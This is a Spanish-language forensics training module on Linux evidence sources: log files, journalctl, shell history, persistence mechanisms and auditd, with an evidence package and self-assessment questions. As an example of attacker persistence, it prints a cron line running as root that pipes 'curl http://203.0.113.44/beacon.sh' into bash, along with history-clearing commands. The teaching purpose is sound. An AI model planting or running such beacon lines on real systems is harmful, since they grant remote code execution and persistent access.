Forense de Linux
Linux reparte lo que Windows centraliza en el registro y el Visor de eventos entre docenas de ficheros de texto plano y un journal binario, sin un único punto de entrada equivalente. La ventaja es que casi todo es legible con herramientas estándar sin parseadores especializados; la desventaja es que el analista necesita saber en qué sitio concreto buscar cada cosa.
- Conocer la estructura de
/var/logy qué guarda cada fichero relevante. - Usar
journalctlpara consultar el journal binario de systemd. - Interpretar el historial de shell (
bash_history) y entender sus limitaciones como evidencia. - Identificar los mecanismos de persistencia habituales en Linux: cron, systemd timers, ficheros de perfil de shell, claves SSH.
- Usar
auditdcomo fuente fiable de ejecución de procesos, equivalente al Event ID 4688 de Windows.
Descarga el paquete de evidencia, descomprímelo y lee el LEEME.md antes de empezar. Verifica el hash según el módulo 2 antes de analizar nada:
Hashes de referencia (ver también LEEME.md):
auth.log→0729771fb25a91ed5627f0aed1123e23d1b6a0c7b9e419839836ee53dab3b4d8deploy_bash_history→be8e59a500e69845e1cc1e02464f812d2612facc07de60fd0a41731c17c2b134etc_cron.d_system-check→245cad636c9bac9a51a236616c52cf30804cedb63aaba8bbecefa9fba5dc298fausearch_exec_watch.log→57329df168fce052c6db807ccb64d3b7e52cef6d5c5cd007eb911d76d6177a0c
⬇️ Descargar M07_ForenseLinux.zip Ver solución paso a paso →
1. Dónde vive el rastro en Linux: /var/log
| Fichero | Distribución típica | Qué contiene |
|---|---|---|
/var/log/auth.log | Debian/Ubuntu | Autenticación: inicios de sesión, uso de sudo, intentos SSH. |
/var/log/secure | RHEL/CentOS/Fedora | Equivalente a auth.log en distribuciones basadas en Red Hat. |
/var/log/syslog | Debian/Ubuntu | Mensajes generales del sistema y de servicios, formato texto plano. |
/var/log/messages | RHEL/CentOS/Fedora | Equivalente a syslog. |
/var/log/wtmp | Todas (binario) | Historial de inicios y cierres de sesión; se lee con last, no con un editor de texto. |
/var/log/btmp | Todas (binario) | Intentos de inicio de sesión fallidos; se lee con lastb — el equivalente al 4625 de Windows. |
/var/log/lastlog | Todas (binario) | Último inicio de sesión de cada usuario del sistema. |
$ lastb -F
root pts/0 203.0.113.44 Sat Mar 14 02:01:58 2026 - Sat Mar 14 02:01:59 2026 (00:00:01)
root pts/0 203.0.113.44 Sat Mar 14 02:01:44 2026 - Sat Mar 14 02:01:45 2026 (00:00:01)2. journalctl: el journal binario de systemd
En distribuciones con systemd (la inmensa mayoría hoy), buena parte de lo que antes vivía solo en ficheros de texto se centraliza también en un journal binario estructurado, consultable con journalctl. A diferencia de los ficheros planos, el journal incluye metadatos adicionales (PID, unidad de systemd, prioridad) y permite filtrar sin depender de grep sobre texto libre.
$ journalctl -u sshd --since "2026-03-14 01:50:00" --until "2026-03-14 02:10:00"
Mar 14 02:04:12 web01 sshd[8842]: Accepted publickey for deploy from 203.0.113.44 port 51122 ssh2
Mar 14 02:04:12 web01 sshd[8842]: pam_unix(sshd:session): session opened for user deploy/var/log/journal/ no existe, el journal vive únicamente en RAM y se pierde al reiniciar — otro motivo por el que, ante un equipo Linux comprometido que sigue encendido, conviene volcarlo (journalctl > journal_dump.txt) antes de tocar nada más, siguiendo el orden de volatilidad del módulo 1.3. Historial de shell: útil, pero poco fiable por sí solo
El fichero ~/.bash_history (o el equivalente de zsh, ~/.zsh_history) guarda los comandos que un usuario ha escrito en su shell interactivo. Es una fuente de evidencia muy citada, pero con limitaciones serias que hay que declarar siempre en un informe:
- Sin marca de tiempo por defecto en bash: solo se añade si la variable
HISTTIMEFORMATestaba configurada antes de que se ejecutaran los comandos — algo que casi nunca está activado de fábrica. - Trivial de manipular: el propio usuario (o atacante) puede borrarlo, editarlo a mano, o desactivarlo por completo con
unset HISTFILEohistory -cantes de desconectarse. - Solo se escribe al cerrar la sesión (por defecto): si el atacante mantiene la sesión abierta o la cierra de forma abrupta, los comandos de esa sesión pueden no llegar a guardarse nunca en el fichero.
auditd (punto 5) es la fuente que de verdad sostiene un hallazgo cuando el caso lo permite: a diferencia de bash_history, no depende de la buena voluntad del usuario ni de que la sesión se cierre con normalidad.4. Persistencia en Linux
| Mecanismo | Dónde buscarlo |
|---|---|
| cron de usuario | crontab -l por usuario, o directamente /var/spool/cron/crontabs/<usuario> |
| cron del sistema | /etc/crontab, /etc/cron.d/, /etc/cron.{hourly,daily,weekly,monthly}/ |
| systemd timers | systemctl list-timers --all; unidades en /etc/systemd/system/ — el equivalente moderno a cron, cada vez más usado también como persistencia. |
| Ficheros de perfil de shell | ~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile.d/: cualquier línea añadida aquí se ejecuta cada vez que el usuario abre una shell. |
| Claves SSH autorizadas | ~/.ssh/authorized_keys: una clave pública añadida aquí por el atacante le da acceso persistente sin necesidad de contraseña ni de dejar rastro en los logs de autenticación por contraseña. |
LD_PRELOAD | Variable de entorno (o fichero /etc/ld.so.preload) que fuerza a cargar una librería maliciosa antes que las del sistema en cualquier proceso nuevo — técnica usada por rootkits en espacio de usuario. |
$ cat /etc/cron.d/system-check
*/15 * * * * root curl -s http://203.0.113.44/beacon.sh | bash5. auditd: ejecución de procesos de forma fiable
auditd es el subsistema de auditoría del kernel de Linux. Correctamente configurado (con una regla que vigile execve), registra cada ejecución de proceso del sistema con su línea de comandos completa, el usuario que lo lanzó y el PID — el equivalente directo al Event ID 4688 de Windows visto en el módulo 6, y una fuente mucho más sólida que bash_history porque no depende de que nadie cierre sesión con normalidad.
$ ausearch -k exec_watch -ts recent
type=EXECVE msg=audit(1710382855.112:4821): argc=3 a0="curl" a1="-s" a2="http://203.0.113.44/beacon.sh"
type=EXECVE msg=audit(1710382855.340:4822): argc=1 a0="bash"bash_history (con sus limitaciones), el journal, y cualquier log de la aplicación afectada.Autoevaluación
- ¿Qué ficheros binarios consultarías con
lastylastbrespectivamente, y qué diferencia hay entre lo que muestra cada uno? - Nombra dos razones por las que
bash_historyno debería citarse como única prueba de que un comando se ejecutó. - ¿Qué ventaja tiene
auditdsobrebash_historypara demostrar ejecución de un comando concreto? - Encuentras una línea añadida a
~/.ssh/authorized_keysque no reconoces. ¿Qué tipo de persistencia es, y por qué un atacante la preferiría sobre una contraseña? - El journal de systemd de una máquina comprometida que sigue encendida no tiene persistencia en disco. ¿Qué deberías hacer antes de apagarla o reiniciarla?